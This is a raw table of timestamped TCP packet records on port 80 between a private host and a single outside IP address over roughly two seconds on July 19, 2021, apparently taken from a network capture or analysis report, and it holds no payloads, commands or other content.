Jul 19, 2021 18:36:13.990609884 CEST	49892	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.996794939 CEST	80	49890	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.997833014 CEST	49890	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.998725891 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.998805046 CEST	49888	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.012557983 CEST	80	49891	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.012728930 CEST	49891	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.013472080 CEST	49891	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.069005966 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.069202900 CEST	49892	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.070498943 CEST	49892	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.070785046 CEST	49892	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.071162939 CEST	49892	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.071660042 CEST	49892	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.107048035 CEST	80	49891	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.107184887 CEST	80	49891	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.107387066 CEST	49891	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.150213003 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.151226997 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.151256084 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.151271105 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.151288986 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.151305914 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.151320934 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.151335955 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.151345968 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.151355982 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.151365995 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.151382923 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.151396036 CEST	49892	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.151437044 CEST	49892	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.151555061 CEST	49892	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.153012037 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.153150082 CEST	49892	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.213766098 CEST	49891	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.216497898 CEST	49893	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.230601072 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.230635881 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.230649948 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.230752945 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.230811119 CEST	49892	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.230915070 CEST	49892	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.231229067 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.231339931 CEST	49892	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.231410980 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.231570005 CEST	49892	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.299108982 CEST	80	49893	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.299282074 CEST	49893	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.300493956 CEST	49893	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.308487892 CEST	80	49891	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.308576107 CEST	49891	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.309952021 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.310049057 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.310055017 CEST	49892	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.310122013 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.310153961 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.310239077 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.310261011 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.310276031 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.383138895 CEST	80	49893	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.383246899 CEST	80	49893	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.384711981 CEST	49893	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.388093948 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.388118029 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.388130903 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.388144016 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.388156891 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.388170004 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.388413906 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.499583960 CEST	49893	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.499900103 CEST	49892	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.500895977 CEST	49894	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.502311945 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.578579903 CEST	80	49894	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.578680038 CEST	49894	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.579773903 CEST	49894	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.581515074 CEST	80	49893	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.581603050 CEST	49893	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.596486092 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.596616983 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.597656012 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.597784996 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.597968102 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.598114014 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.621350050 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.656960964 CEST	80	49894	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.657174110 CEST	80	49894	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.657300949 CEST	49894	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.691354036 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.691596985 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.691785097 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.691874981 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.692111015 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.692182064 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.692276955 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.692356110 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.692461967 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.692517042 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.692786932 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.692863941 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.693240881 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.693315029 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.693406105 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.693468094 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.693587065 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.693649054 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.693867922 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.693949938 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.694530964 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.694600105 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.694720030 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.694999933 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.760649920 CEST	49894	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.761714935 CEST	49896	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.785211086 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.785242081 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.785258055 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.785361052 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.785478115 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.785499096 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.785586119 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.785824060 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.786189079 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.786254883 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.786333084 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.786632061 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.786726952 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.787065983 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.787775040 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.789714098 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.790117979 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.837698936 CEST	80	49894	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.838231087 CEST	49894	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.839164019 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.839332104 CEST	49896	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.840436935 CEST	49896	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.879771948 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.879798889 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.879810095 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.879818916 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.879832983 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.879842997 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.879858017 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.879868031 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.879941940 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.880047083 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.880114079 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.880842924 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.880951881 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.883111954 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.883167982 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.883207083 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.883446932 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.891472101 CEST	80	49892	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.891604900 CEST	49892	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.917889118 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.932326078 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.932532072 CEST	49896	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.969944000 CEST	49896	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.970007896 CEST	49896	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.970338106 CEST	49896	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.970382929 CEST	49896	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:14.973292112 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.973316908 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.973782063 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:14.974247932 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.041965961 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.044174910 CEST	49897	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.050818920 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.050843954 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.050853014 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.050895929 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.050904989 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.050915956 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.050945044 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.050956964 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.050965071 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.051083088 CEST	49896	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.051179886 CEST	49896	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.128701925 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.128726006 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.128734112 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.128801107 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.128828049 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.128936052 CEST	49896	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.128967047 CEST	49896	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.129663944 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.129858017 CEST	49896	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.141988993 CEST	80	49897	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.142168999 CEST	49897	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.142885923 CEST	49897	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.149141073 CEST	80	49895	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.149230003 CEST	49895	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.206345081 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.206370115 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.206377983 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.206423044 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.206687927 CEST	49896	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.207343102 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.207380056 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.207496881 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.207619905 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.240427017 CEST	80	49897	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.240601063 CEST	80	49897	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.240717888 CEST	49897	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.284173965 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.284200907 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.284209013 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.284219027 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.284226894 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.284234047 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.357156992 CEST	49897	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.358911991 CEST	49896	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.358925104 CEST	49898	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.423497915 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.445777893 CEST	80	49898	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.446234941 CEST	49898	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.447572947 CEST	49898	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.458447933 CEST	80	49896	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.458640099 CEST	49896	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.473647118 CEST	80	49897	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.473746061 CEST	49897	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.516293049 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.516537905 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.517221928 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.517399073 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.521390915 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.521445990 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.530622005 CEST	80	49898	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.530751944 CEST	80	49898	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.530962944 CEST	49898	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.610109091 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.610181093 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.611711025 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.612457037 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.614212036 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.614237070 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.614346981 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.614608049 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.614707947 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.615176916 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.615402937 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.615514994 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.615813971 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.615847111 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.616012096 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.616214037 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.616328955 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.616417885 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.616719961 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.616919994 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.617229939 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.617573023 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.636333942 CEST	49898	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.637777090 CEST	49900	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.706856966 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.706888914 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.706897974 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.707096100 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.719244003 CEST	80	49898	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.719393015 CEST	49898	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.729974031 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.730189085 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.731230021 CEST	80	49900	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.734131098 CEST	49900	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.735075951 CEST	49900	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.799623013 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.799844980 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.799861908 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.799936056 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.800024033 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.800107956 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.822702885 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.822729111 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.822743893 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.822757006 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.822926044 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.823092937 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.823179007 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.828625917 CEST	80	49900	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.828727961 CEST	80	49900	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.828915119 CEST	49900	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.893420935 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.893450975 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.893680096 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.893702030 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.893718004 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.893733025 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:15.941159010 CEST	49900	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.941534996 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.942924023 CEST	49901	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:15.943909883 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.025358915 CEST	80	49901	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.025624037 CEST	49901	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.026046991 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.026166916 CEST	49901	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.026412964 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.026717901 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.026916981 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.027055979 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.027216911 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.033780098 CEST	80	49899	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.033931971 CEST	49899	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.035175085 CEST	80	49900	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.035317898 CEST	49900	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.108844995 CEST	80	49901	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.108958006 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.109076023 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.109179020 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.109364033 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.109452009 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.109493017 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.109591961 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.109674931 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.109930038 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.110018969 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.110141993 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.110261917 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.110425949 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.110507011 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.110553980 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.110625982 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.110786915 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.110857964 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.110893011 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.111030102 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.111282110 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.111294985 CEST	80	49902	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.111388922 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.111443996 CEST	49902	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.120614052 CEST	80	49901	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:16.121135950 CEST	49901	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:16.193654060 CEST	80	49902	185.114.247.54	192.168.2.6
